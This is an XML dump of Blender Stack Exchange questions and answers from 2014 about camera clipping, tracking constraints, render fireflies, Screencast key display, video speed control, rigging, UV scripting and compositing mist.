  <row Id="8203" PostTypeId="2" ParentId="8195" CreationDate="2014-03-31T16:31:52.433" Score="1" Body="&lt;h2&gt;&lt;strong&gt;Camera Clipping End Distance&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;One thing to check is to see if your Camera's Clipping End distance is set deep enough to render all parts of your scene. If it is set too close (i.e. to too low of a number), then anything beyond that distance (in Distance units) will not be rendered -- instead, beyond that point, your render will show only the background color, which here is transparent.&lt;/p&gt;&#xA;&lt;p&gt;To see if this is your problem, check these 2 things:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;If this happens when rendering&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the camera&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the Object Properties window, click on the Camera tab&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase the Clipping End to a higher number (i.e. farther distance). Here the End distance is set to 100, but you might need to set it higher:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JoBnl.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now render again and see if all of your scene is included in the render.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;If this happens when navigating in viewport (i.e. not in camera mode or render)&lt;/strong&gt;&lt;br /&gt;&#xA;If this happens when navigating in viewport, then you have to change the clipping end in the Viewport Properties panel:&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;N&lt;/kbd&gt; to open the Viewport Properties&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under View, set the Clip End higher:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Adb1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-31T16:43:43.867" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8204" PostTypeId="1" AcceptedAnswerId="8254" CreationDate="2014-03-31T17:11:24.487" Score="8" ViewCount="276" Body="&lt;p&gt;Is it possible to distinguish between shadows viewed directly from the camera, and shadows seen in the reflection of an object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the shadows circled here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dbl3N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the cameras's perspective, I'd like the tile to disappear (along with its shadow, diffuse effects, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I make the tile transparent for camera rays, shadow rays, and diffuse ray, I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HUglE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like the shadow to be visible in reflections though. If I remove shadow rays from my transparency condition, I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uR5ed.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's what I'm trying to achieve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4l9iU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to determine whether the shadow is viewed directly from camera, or if it's being viewed through a reflection?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-04-02T17:26:50.233" Title="Shadow from camera vs shadow from reflection" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8205" PostTypeId="1" CreationDate="2014-03-31T20:41:55.307" Score="3" ViewCount="42" Body="&lt;p&gt;I am trying to get a camera to follow a point in the X,Y,Z plane.  It worked yesterday, but I can't get it to work today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to follow the Book Tutorial, where he shows the setup steps: Add: (i) Camera, (ii) Empty [Camtrack], and (iii) [Ctl T] Track to Constraint.  No matter what I try today, the camera will not follow the Camtrack point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me what I'm doing wrong.&#xA;WFR&lt;/p&gt;&#xA;" OwnerUserId="2757" LastActivityDate="2014-03-31T21:18:16.657" Title="Contraints &amp; Camtrack" Tags="&lt;constraints&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8207" PostTypeId="2" ParentId="8205" CreationDate="2014-03-31T21:10:57.630" Score="2" Body="&lt;h2&gt;&lt;strong&gt;Track To Constraint&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In order to use Track To Constraint, follow these steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add your camera&lt;/li&gt;&#xA;&lt;li&gt;Add the empty&lt;/li&gt;&#xA;&lt;li&gt;Select the camera, then hold down &lt;kbd&gt;SHIFT&lt;/kbd&gt; and select the empty -- this will make both the camera and the empty selected at the same time. You can tell if they are both selected because they should both be highlighted at the same time&lt;br&gt;&#xA;&lt;strong&gt;NOTE:&lt;/strong&gt; The order you select these in is very important: &lt;strong&gt;first&lt;/strong&gt; select the camera, &lt;strong&gt;then&lt;/strong&gt; hold down &lt;kbd&gt;SHIFT&lt;/kbd&gt; while selecting the empty&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then press &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt; -&gt; Track To Constraint&lt;br&gt;&#xA;Here is a demonstration:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fZyfF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is a second, alternative method you can use once you have added your camera and the empty:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the camera  &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the Object Properties panel, under the Constraints tab, set Target to the empty, as shown here:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5D5CT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-03-31T21:18:16.657" LastActivityDate="2014-03-31T21:18:16.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8208" PostTypeId="1" AcceptedAnswerId="8214" CreationDate="2014-03-31T21:35:06.247" Score="3" ViewCount="259" Body="&lt;p&gt;Is there a way to get keys like SHIFT and CTRL to show in Screencast when they are pressed by themselves? This would be very beneficial for the viewer in cases like where one first selects one object, then holds down SHIFT and then selects another object. In this case, the SHIFT held by itself doesn't get displayed, so the viewer is left not knowing exactly what was done. &lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="1112" LastEditDate="2014-04-01T00:53:26.157" LastActivityDate="2014-04-01T07:09:13.813" Title="Get modifier keys to show in Screencast when they are pressed by themselves" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8209" PostTypeId="1" AcceptedAnswerId="8210" CreationDate="2014-03-31T21:36:28.367" Score="1" ViewCount="181" Body="&lt;p&gt;So I created a circle with leafs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tttxW.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I used a method from an older question here on stackexchange &lt;a href=&quot;https://blender.stackexchange.com/questions/7982/spawn-planes-around-a-circle&quot;&gt;Spawn planes around a circle?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is how I have done it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yuyuv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I have to rig my mesh and I get weird results with rigify. Is is possible to convert the complete circle of leafs to a real mesh?&lt;/p&gt;&#xA;" OwnerUserId="1672" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-04-01T00:52:31.510" Title="Convert objects with the clamp constrain to a single mesh" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8210" PostTypeId="2" ParentId="8209" CreationDate="2014-03-31T21:57:20.603" Score="1" Body="&lt;h2&gt;&lt;strong&gt;Joining mesh objects&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Yes, you can use the Join command by selecting all the mesh objects you want to join together, then pressing &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;. They should now all be one object. However, the different leaves will not be able to move separately once the character starts moving unless you convert them into cloth objects or perhaps use soft body physics.  &lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-03-31T22:06:40.987" LastActivityDate="2014-03-31T22:06:40.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8211" PostTypeId="1" AcceptedAnswerId="8212" CreationDate="2014-04-01T01:19:25.883" Score="3" ViewCount="1089" Body="&lt;p&gt;I tried isolating the two objects via layers, but that removes the shadows as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/HoxmMed&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/HoxmMed.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I don't isolate, I get these little single-pixel reflections on the image material for the background object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B5i33G9TR2pib1VpbnVHVlZHX1E/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1pLKi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See them?&#xA;They're annoying. Is there any way to remove them without removing the shadows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B5i33G9TR2piNTA2NjJ6MV9pdzA/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2601" LastEditorUserId="2217" LastEditDate="2014-05-07T13:55:46.163" LastActivityDate="2014-05-07T13:55:46.163" Title="How can I remove a reflection onto an object but keep the shadow?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8212" PostTypeId="2" ParentId="8211" CreationDate="2014-04-01T02:31:19.283" Score="3" Body="&lt;p&gt;Those single pixel reflections are commonly known as &lt;em&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/2275/599&quot;&gt;fireflies&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Fireflies can often be removed by disabling &lt;a href=&quot;http://en.wikipedia.org/wiki/Caustic_%28optics%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;caustics&lt;/a&gt;, as they are usually a result of an unlikely indirect sample of a lamp.&lt;/p&gt;&#xA;&lt;p&gt;If you don't want or need caustics, then simply enable &lt;em&gt;No Caustics&lt;/em&gt; in &lt;em&gt;Render settings &amp;gt; Light paths&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;Clamping&lt;/h2&gt;&#xA;&lt;p&gt;If you want to keep caustics, you might try using the &lt;em&gt;Clamp&lt;/em&gt; options in &lt;em&gt;Render settings &amp;gt; Sampling&lt;/em&gt;.&#xA;The clamp options will ensure a sample does not return a higher value than the clamp value, but be aware that this can potentially affect highlights and other intentionally bright areas of the render.&lt;/p&gt;&#xA;&lt;p&gt;To help avoid this, in 2.70 you can now clamp indirect samples (where fireflies are usually found) separately from direct samples.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Also see:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/1703/599&quot;&gt;How to reduce fireflies in Cycles?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Reducing_Noise#Reducing_Noise&quot; rel=&quot;nofollow noreferrer&quot;&gt;the &lt;em&gt;Reducing noise&lt;/em&gt; section of the wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-01T02:31:19.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8213" PostTypeId="1" AcceptedAnswerId="8215" CreationDate="2014-04-01T06:26:31.730" Score="14" ViewCount="8787" Body="&lt;p&gt;I ran into some confusing behaviour of the speed control effect.&#xA;I've loaded a whole strip of video and applied the effect setting it to a 2x speedup &#xA;(in two variants - with the default &quot;stretch to the input length&quot; and &quot;Scale to length&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expected to see the reduced length of strip, but it appears to have no influence on the length. On the other hand, the video sequencer shows that after some frame, the picture doesn't change while marker is moving. Do I have to calculate this frame manually to insert a new video strip?&lt;/p&gt;&#xA;" OwnerUserId="2980" LastEditorUserId="1112" LastEditDate="2014-04-01T07:04:51.970" LastActivityDate="2014-04-01T07:29:43.287" Title="Speed control effect doesn't change the length of video strip" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8214" PostTypeId="2" ParentId="8208" CreationDate="2014-04-01T07:09:13.813" Score="3" Body="&lt;p&gt;There is no setting which would allow displaying modifier keys alone. I looked into the source and the modifier keys are disabled in line 550 of the screencast addon:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ignore_keys = ['LEFT_SHIFT', 'RIGHT_SHIFT', 'LEFT_ALT',&#xA;         'RIGHT_ALT', 'LEFT_CTRL', 'RIGHT_CTRL', 'TIMER',&#xA;         'MOUSEMOVE', 'INBETWEEN_MOUSEMOVE']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could right click on the screencast control to open the python source in the text editor and remove the keys want. Click register in the text editor's header and run the script. (Of course you could also save the modified version in into the blender installation folder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/khRAa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-04-01T07:09:13.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8215" PostTypeId="2" ParentId="8213" CreationDate="2014-04-01T07:14:48.543" Score="19" Body="&lt;p&gt;When you add a &lt;code&gt;Speed Control&lt;/code&gt; strip, &lt;code&gt;Stretch to input strip length&lt;/code&gt; is enabled by default.  That gives you the ability to change the length of your video strip (aka &quot;input strip&quot;) and the speed will automatically adjust.  For example, if you make your video strip half as long, the speed will be twice as fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also can set the parameter &lt;code&gt;Multiply Speed&lt;/code&gt;.  This will change the speed of your video without changing the length.  For example, you can set this to &lt;code&gt;2.0&lt;/code&gt;, but since the video finishes twice as fast yet the length stays the same, the video will run out before the end of the strip, and so for the remainder of the strip, Blender will just display the last frame.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1112" LastEditDate="2014-04-01T07:29:43.287" LastActivityDate="2014-04-01T07:29:43.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8216" PostTypeId="1" CreationDate="2014-04-01T07:24:34.517" Score="1" ViewCount="1005" Body="&lt;p&gt;I am trying to rig up an existing mesh with some .BVH motion capture data, but the pose the mesh is in does not entirely correspond to the neutral pose of the skeleton contained in the BVH file. This results in awkward-looking results for certain parts such as the shoulders and head position, but editing the mesh manually to match the rest position of the armature would be very cumbersome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a mathematical perspective, there shouldn't be any additional difficulty in allowing the rest position to be edited or equivalently allowing a model to be reparented to an armature in non-rest pose (adjusting the vertex weights and bone matrices accordingly), but it doesn't seem like Blender allows doing this (as of 2.69).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best/least-effort workflow for rigging up a mesh which is hard to adapt to a given skeleton's rest pose?&lt;/p&gt;&#xA;" OwnerUserId="2981" LastActivityDate="2014-09-27T19:16:23.883" Title="Rigging up a model in a non-neutral pose for a given armature" Tags="&lt;modeling&gt;&lt;armature&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8220" PostTypeId="2" ParentId="8216" CreationDate="2014-04-01T11:31:04.867" Score="1" Body="&lt;p&gt;You can change your pose and apply it as rest pose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AXtKT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2014-04-01T11:31:04.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8221" PostTypeId="1" AcceptedAnswerId="8240" CreationDate="2014-04-01T15:02:31.620" Score="3" ViewCount="1508" Body="&lt;p&gt;I am adapting an old script to Blender 2.6, the script reads mesh data from a custom file type and then creates a mesh array with that data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to make almost all of it, but U can't set the UV values of each vertex to the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create the mesh array like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in range(0,numeroparts):&#xA;    malla.append(bpy.data.meshes.new(name=&quot;2k_Part&quot;+str(i)))&#xA;    uv = []&#xA;    xyz= []&#xA;    for j in range(0,numerovertxpart[i]):&#xA;        line=file.readline()&#xA;        x,y,z,u,v=float(line.split()[0].replace(',','.')),float(line.split()[1].replace(',','.')),float(line.split()[2].replace(',','.')),float(line.split()[3].replace(',','.')),float(line.split()[4].replace(',','.'))&#xA;        uv.append((u,v))&#xA;        xyz.append((x,y,z))&#xA;        print(x,y,z)&#xA;&#xA;&#xA;    aa = []&#xA;bb = []&#xA;cc = []&#xA;faces= []               &#xA;&#xA;for j in range(0,numerofacexpart[i]):&#xA;    line=file.readline()&#xA;    a,b,c=int(line.split()[0]),int(line.split()[1]),int(line.split()[2])&#xA;    faces.append((a,b,c))&#xA;    aa.append(a)&#xA;    bb.append(b)&#xA;    cc.append(c)&#xA;    print(a,b,c)&#xA;&#xA;malla[i].from_pydata(xyz, [], faces)&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;for q in range(len(malla[i].polygons)):&#xA;    #malla[i].faces[q].mode |= Blender.Mesh.FaceModes['TWOSIDE']&#xA;    #malla[i].faces[q].transp = Blender.NMesh.FaceTranspModes['ALPHA']&#xA;    #malla[i].faces[q].uv=Mathutils.Vector(uv[aa[q]]), Mathutils.Vector(uv[bb[q]]), Mathutils.Vector(uv[cc[q]])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is here, the lines commented out are how it worked in Blender 2.49:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for q in range(len(malla[i].polygons)):&#xA;        #malla[i].faces[q].mode |= Blender.Mesh.FaceModes['TWOSIDE']&#xA;        #malla[i].faces[q].transp = Blender.NMesh.FaceTranspModes['ALPHA']&#xA;        #malla[i].faces[q].uv=Mathutils.Vector(uv[aa[q]]), Mathutils.Vector(uv[bb[q]]), Mathutils.Vector(uv[cc[q]])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2984" LastEditorUserId="20" LastEditDate="2014-04-01T16:53:02.733" LastActivityDate="2014-04-02T09:49:33.660" Title="How can I add UV coords to a mesh from script?" Tags="&lt;scripting&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8222" PostTypeId="1" AcceptedAnswerId="105838" CreationDate="2014-04-01T15:18:17.507" Score="2" ViewCount="602" Body="&lt;h2&gt;&lt;strong&gt;SVG&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If I do changes on SVG file located in &lt;code&gt;~/blender-build/blender/release/datafiles&lt;/code&gt; folder, save it and run commands&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cd ~/blender-build/blender&#xA;make icons&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it ends with &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;FileNotFoundError: [Errno 2] No such file or directory: 'blender': 'blender'&#xA;make: *** [icons] Error 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://wiki.blender.org/index.php/Dev:2.5/Doc/How_to/Add_an_icon&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki&lt;/a&gt; has a note which I don't understand: &quot;&lt;em&gt;... both inkscape and blender must be in the system PATH for this command to execute properly.&lt;/em&gt;&quot;&#xA;Official Blender build and Inkscape are located in /Applications folder, but only Blender arised as error.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What is that &lt;strong&gt;system PATH&lt;/strong&gt;?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I recognise if PATHs are set right?&#xA;(how they should looks like?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2214" LastEditorUserId="2214" LastEditDate="2018-04-07T09:28:36.450" LastActivityDate="2018-07-26T22:46:30.887" Title="How to build Blender with edited blender_icons?" Tags="&lt;image&gt;&lt;file-format&gt;&lt;osx&gt;&lt;versions&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8223" PostTypeId="1" CreationDate="2014-04-01T15:43:20.727" Score="3" ViewCount="1114" Body="&lt;p&gt;In order to create clouds in the background of landscape I followed instructions of the lesson and used the Image node to add image needed in the result. Then I mixed that image with color (by using AlphaOver node) added by the RGB node to make environment look more realistic. &lt;br/&gt;&#xA;So, we have clouds created. &lt;br/&gt;&#xA;Then Mist socket from the RenderLayers is used to give infromation to ColorRamp node about the mist we want to get. ColorRamp's Image output socket is connected to Fac socket of the Mix node. Our clouds are added to the first Image socket, and the main Image from RenderLayers - to the next one. &lt;br/&gt;&lt;br/&gt;&#xA;I would like to ask about this way of mist creating. How is it possible to avoid of translucence of clouds through the island and at the same time leave mist? I tried a lot and didn't found any ways to combine these 2 images without getting problem when clouds can be seen through the front image (in this case, island).&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of the nodes set up.&#xA;    &lt;img src=&quot;https://i.stack.imgur.com/Zff11.jpg&quot; alt=&quot;enter image description here&quot;&gt;          &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To point out your attention at the problem, screenshot of the rendered image if ColorRamp node settings are changed (mist managing).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xEEJ7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;br/&gt;&#xA;UPD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to say that I think my island wasn't behind the clouds but rather the island lost transparency according to the principles mist settings are processed in Blender. You might want to look for references - &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/World/Mist#Transparency&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/World/Mist#Transparency&lt;/a&gt;,  this one - &lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Mist_-_Make_Objects_Opaque&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Mist_-_Make_Objects_Opaque&lt;/a&gt;. I'd like to use the last one as a manual but I was unable to reach everything I wanted. &lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="1245" LastEditDate="2014-04-09T16:48:06.010" LastActivityDate="2014-04-09T16:48:06.010" Title="Adding background to the landscape and mixing with mist" Tags="&lt;nodes&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8224" PostTypeId="1" CreationDate="2014-04-01T16:35:30.293" Score="4" ViewCount="344" Body="&lt;p&gt;I am having trouble with a rig I imported from MakeHuman. When I run the &lt;em&gt;Embedded Player&lt;/em&gt; or the Standalone Player my character's facial features come through the mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are positioned properly, but for some reason they seem to get priority over the outer mesh and are displayed through the outer skin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture to illustrate my conundrum:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L8y29.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2238" LastEditorUserId="599" LastEditDate="2014-04-03T06:52:27.133" LastActivityDate="2019-03-01T19:15:50.167" Title="Objects showing through other objects in the BGE?" Tags="&lt;python&gt;&lt;rendering&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8225" PostTypeId="2" ParentId="7373" CreationDate="2014-04-01T16:53:32.653" Score="0" Body="&lt;p&gt;The solution to this is actually quite simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot have any &lt;strong&gt;errors in your python&lt;/strong&gt; scripts/modules, else the Standalone players animation will not run, it just sits there, making you feel sad inside. &lt;/p&gt;&#xA;" OwnerUserId="2238" LastEditorUserId="1363" LastEditDate="2014-05-01T17:31:00.237" LastActivityDate="2014-05-01T17:31:00.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8226" PostTypeId="2" ParentId="8223" CreationDate="2014-04-01T16:55:26.550" Score="3" Body="&lt;p&gt;The problem is that your clouds should not be in front of the island, but behind!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: (after messing with this for a while...)&#xA;You need one more mix node.&#xA;In other words you need one to key the clouds behind the island.&#xA;And another one mix node to mix the mist over the island and the background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7K6mR.png&quot; alt=&quot;NODES&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NLhX2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I disabled mist again, according with your comment.&#xA;The hardest part is controlling how the horizon meets the sky since the mist pass takes care of the island but not of the ocean in the distance, so I added a mask to affect the alpha channel at the horizon line of the render layers node. Then I used that new mask to control the alpha over that mixes the Island and the sky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The modified file I placed here:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/28181&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/28181&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been a lot of fun playing with your file!&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-04-05T07:03:47.123" LastActivityDate="2014-04-05T07:03:47.123" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
